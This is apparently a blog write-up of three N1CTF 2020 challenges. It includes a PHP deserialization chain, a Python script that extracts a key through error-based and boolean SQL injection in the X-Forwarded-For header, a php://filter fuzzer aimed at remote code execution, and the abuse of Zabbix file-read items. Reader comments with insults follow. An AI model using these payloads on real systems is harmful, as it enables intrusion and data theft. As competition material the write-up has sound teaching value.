Author:颖奇L’Amore

Blog:www.gem-love.com

This weekend I played N1CTF with team r3kapig and finally we got the 2nd🥈 place. Thanks to all my teammates for their hard work, and also to the Nu1L team for holding the wonderful & awesome game.

Btw, writeup for all challenges we solved will be published here, check it out!

I will write some of them in detail

web-signin

This challenge is the easiest web challenge, but it is very interesting especially for those who are new in CTF. It gives the source code

It is easy to know that it is an unserialize challenge, and we can ctrl the serialize string totally. It means that you can create Object with any attributes’ value

Then let’s find the pop chain. it is easy to know that the purpose is to call flag->getflag() method by automatically calling __destruct() magic method, and $check attribute must be eq to a censored string "key****************". So now what we need to do is getting this secret string. Fortunately there is a ip class with a __toString() magic method. If you treat an Object as a string, it will automatically call the object’s __toString() method, and what __toString returns will be used. ip->__toString() will execute a mysql insert query, and one of the values is $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']), we can easily ctrl X-Forwarded-For header so it hints that it is a SQL inject challenge. But we don’t know what waf() method do but it must filter some sql keywords otherwise it would be a really really really easy challenge(in fact, even it has waf it is still not difficult). By fuzzing, we suppose that waf() method may look like this: function waf($info){
if(preg_match("/get_lock|sleep|benchmark|count|when|case|rlike|count/i",$info)){ exit("hackhack"); } } according to the pattern, we cannot use Time-based Blind SQLi. But insert query returns nothing useful, so now we must find a way to get the sub select query result. The first time I wanted to use mysql load_file() to send a http request and use dnslog to receive the result but failed. Then I noticed that ip->__toString() will return mysqli_error($con), so maybe I can use Error-based SQLi. The exploit chain looks like:

1. flag class’s member variable $ip is an ip object instance 2. once unserialize() create the flag instance, __wakeup() method called 3. in __wakeup(), stristr() function treat $this-ip as a string, and now $this->ip is ip object instance, so it called ip->_toString() method 4. __toString do an sql query with error-based sqli payload(I’ll show you my payload later) in it because we controlled the XFF header. if the blind sqli expression in error-based sqli payload returns true, __toString will return mysql error message, otherwise it returns “your ip looks ok!” 5. since error-based sqli will return the sub select result, just decorate your payload to make sure it will return “n1ctf” in the hole error message when blind sqli returns true in sub select query(If you dont understand, dont worry, u will understand it after reading the payload). Then __wakeup will set $this->ip to “welcome to n1ctf2020”. If blind sqli returns false, $this->ip will be “noip” 6. then flag automatically called __destruct() because it has nothing else to do, the object needs to be destroyed. echo$this->getflag() will echo $this->ip because we still dont know the key now. 7. So, we have an error-based sqli payload will a sub select query in it. And the sub select query is a blind sqli payload, what this sub query returns will be up to a boolean expression. This boolean expression will finally control what is echoed when __destruct(). 8. According to the 2 different echo result, we can do Boolean-based SQL！ now I will show you my sqli payload: '||(select ip from n1ip where updatexml(1,concat('~',(select if(ascii(substring((select database()),1,1))=100,'n1ctf','r3kapig')),'~'),3))||' The italics are updatexml() error-based sqli, the blue part are the sub query I mentioned above, the pink part are what you want to dump, and the underline part is the boolean expression I also mentioned above. I think it’s time to write exp <?php class ip { } class flag { public$ip;
public $check; }$flag = new flag;
$flag->ip = new ip; echo urlencode(serialize($flag));

//O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A0%3A%7B%7Ds%3A5%3A%22check%22%3BN%3B%7D
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req
import string

url = "http://101.32.205.189/?input=O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A0%3A%7B%7Ds%3A5%3A%22check%22%3BN%3B%7D"

#table: n1ip,n1key
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

#column: id,ip,time,id,key
sql = "select group_concat(column_name) from information_schema.columns where table_schema=database()"

#key:n1ctf20205bf75ab0a30dfc0c
sql = "select group_concat(key) from n1key"
res = ""
for i in range(1,100):
for char in string.ascii_letters + string.digits + ",}{@~.":
payload = f"'||(select ip from n1ip where updatexml(1,concat('~',(select if(ascii(substring(({sql}),{i},1))={ord(char)},'n1ctf','r3kapig')),'~'),3))||'"
if 'welcome to n1ctf2020<' in r.text:
res += char
print(res)
break
if char == '.':
exit(res)

What need to be noticed is that you can’t dump key by select key from n1key but select key from n1key. because key is a keyword of mysql and key means a column named key.

After dumping the key, we can get flag by unserialize again

<?php
class flag
{
public $ip = "r3kapig"; public$check = "n1ctf20205bf75ab0a30dfc0c";
}

$flag = new flag; echo "http://101.32.205.189/?input=" . urlencode(serialize($flag));

// http://101.32.205.189/?input=O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3Bs%3A7%3A%22r3kapig%22%3Bs%3A5%3A%22check%22%3Bs%3A25%3A%22n1ctf20205bf75ab0a30dfc0c%22%3B%7D

flag: n1ctf{you_g0t_1t_hack_for_fun}

Misc-filter

I didnt solve this challenge because of several reasons, for example, my computer is out of power and it wouldn’t help us get champion. But this challege is quite interesting so that I decided to record our idea.

 <?php

isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));$input = explode("/",$_POST['filters']);$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);$file_contents = [];
foreach($input as$filter){
array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents); file_put_contents($source_file, $file_contents); try { require_once$source_file;
}
catch(\Throwable $e){ pass; } unlink($source_file);

?>

also provided Dockerfile:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt-get update
RUN apt-get -y install tzdata
RUN apt-get -y install vim
RUN apt-get -y install apache2
RUN apt-get -y install php

RUN rm /var/www/html/index.html
COPY index.php /var/www/html/
RUN chmod -R 755 /var/www/html/

COPY flag /tmp/flag
RUN cat /tmp/flag > /var/www/html/cat /tmp/flag
RUN rm -rf /tmp/flag

CMD service apache2 restart & tail -F /var/log/apache2/access.log;

You can give any filters you want, you can also give more than one filters divided by /, then it will read file by using php://filter stream and push the result to an array. After that shuffle() function shuffles (randomizes the order of the elements in) an array. Finally write the array to a file and include the file.

Obviously we need to RCE by using require_once $source_file. It is interesting that flag is on the web root directory and it named itself as it content(cat /tmp/flag > /var/www/html/cat /tmp/flag). So the first code I wanna write into $source_file to include is <?=ls;

Then what I need to do is get these chars(or substring of <?=ls;), I write a simple fuzzer to  get them.

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

from random import randint as r
import requests as req

def get_rand_filter(number):
known_filters = [
"string.strip_tags",
"string.rot13",
"convert.base64-encode",
"convert.base64-decode"
]
res = 'string.strip_tags|'
for i in range(1,number+1):
res += known_filters[r(0,3)]
res += '|'

return res[:-1]

url = "http://127.0.0.1:2334/"
data = {
"filters" : ""
}
res = {}
keys = []

try:
for i in range(1,1000):
for number in range(1,120):
data['filters']  = get_rand_filter(number)
rr = req.post(url=url, data=data)
if len(rr.text[21:25]) == 1:
key = ''
if ord(rr.text[21:25]) >= 32 and ord(rr.text[21:30]) <= 127:
key = rr.text[21:25]
else:
continue

if key not in ['>', '?', ';', '=', '', 'l', 'L' , 's' , 'S', '<']:
print(f"key {key} is useless")
continue
tmp = {key : data['filters']}
res.update(tmp)
print(res)
print(res)
except Exception as e:
print(e)
print(res)

To be honest, this fuzzer script has a lot to improve on. For example, it can fuzz more than one char. If it find some filters that can get <?= , the challenge will become very simple. It’s easy to improve but I didn’t because we have high performance servers and two of my teammates help me run the script(main reason is I’m lazy).

Finally we fuzzed out all these 8 characters. since there are two , it just need to send about 7! = 5040 requests to let shuffle() get those 8 chars in the right order.

for example, these filters can get 

string.strip_tags|convert.base64-decode|string.strip_tags|convert.base64-encode|convert.base64-encode|convert.base64-decode|string.strip_tags|string.rot13|convert.base64-encode|string.rot13|convert.base64-encode|string.rot13|string.strip_tags|string.strip_tags|string.strip_tags|convert.base64-decode|string.rot13|convert.base64-decode|string.rot13|string.rot13

BUT!!! when I prepare to get flag, I found that local environment is different from the challenge!

It may be challenge author’s fault. Maybe he changed the php binary file or some other reason.

We can still solve this challenge by download /usr/bin/php firstly and locally fuzz again, but I gave up because it was unnecessary. Solving this challenge wouldn’t let us get the first prize, but we have found the right way to solve the challenge, and that is enough.

Challenge author’s fuzzer script here

This challenge also has an unintended solution, you can check out Super Guesser‘s Writeup

web-zabbix_fun

build on local by using docker-compose up -d --build

version: '2'
services:
mysql:
image: mysql:8.0
container_name: mysql
environment:
networks:
- zbx-net

web:
image: zabbix/zabbix-web-nginx-mysql:ubuntu-5.0-latest
container_name: zabbix-web-nginx-mysql
environment:
- DB_SERVER_HOST=mysql
- MYSQL_USER=root
- ZBX_SERVER_HOST=zabbix-server
- PHP_TZ=Asia/Shanghai
ports:
- '8080:8080'
- mysql
- zabbix-server
depends_on:
- mysql
networks:
- zbx-net

zabbix-server:
image: zabbix/zabbix-server-mysql:alpine-5.0-latest
container_name: zabbix-server-mysql
environment:
- DB_SERVER_HOST=mysql
- MYSQL_USER=root
ports:
- '10051:10051'
- mysql
depends_on:
- mysql
networks:
- zbx-net

zabbix-agent:
image: zabbix/zabbix-agent:alpine-5.0-latest
container_name: zabbix-agent-secret
volumes:
- ./flag/:/flag/
environment:
- ZBX_HOSTNAME=secret_agent
- ZBX_SERVER_HOST=zabbix-server
networks:
- zbx-net

networks:
zbx-net:
driver: bridge
driver_opts:
com.docker.network.enable_ipv6: "false"
ipam:
driver: default
config:
- subnet: 172.16.233.0/24


This challenge is quite easy. After discussing with author, the intended solution is get a shell of zabbix server, but in fact it is totally unnecessary.

What I did firstly is read zabbix document for more than 1h.

Then configure the host(zabbix agent) and make sure zbx is green

by default it is red because of the wrong config

what we must need to configure the host is agent’s ip and port. I got them from docker

configure the host and make ZBX green(green means available)

ZABBIX is used to monitor the server. noticed that it is monitoring whether the /etc/passwd of the agent is modified by vfs.file.cksum, which indicates that zabbix has the right to read files on agent.

and what is vfs.file.cksum? it is an item

then I thought there must be an item to read file content, and it’s true

now let get flag by using this item. And I got the 2nd blood of this challenge.

Easy but interesting!

In fact, at the first time I configured the item but I don’t know how to Get value. Then I changed to try to RCE. What I did is configure a trigger -> trigger an action -> action execute command. But I failed because by default the agent don’t support to execute command.

Other Challenges

https://r3kapig.com/writeup/20201020-n1ctf/

评论

1. tql

6月前
2020-10-23 10:58:35
2. 装逼

5月前
2020-11-12 8:16:17
• 有病，n1ctf是国际赛，这篇wp是发到ctftime上的，当然要用英文写，脑残拜托滚啊

5月前
2020-11-24 13:25:38
• i_kei

大佬消消气，别跟脑残一般见识

3月前
2021-1-03 15:24:26
• i_kei

好家伙，这家给你酸的

3月前
2021-1-03 15:21:12
• i_kei

你这ID是你小名吧，人家大佬写的博客你爱看不看，喷你MA呢

3月前
2021-1-03 15:23:07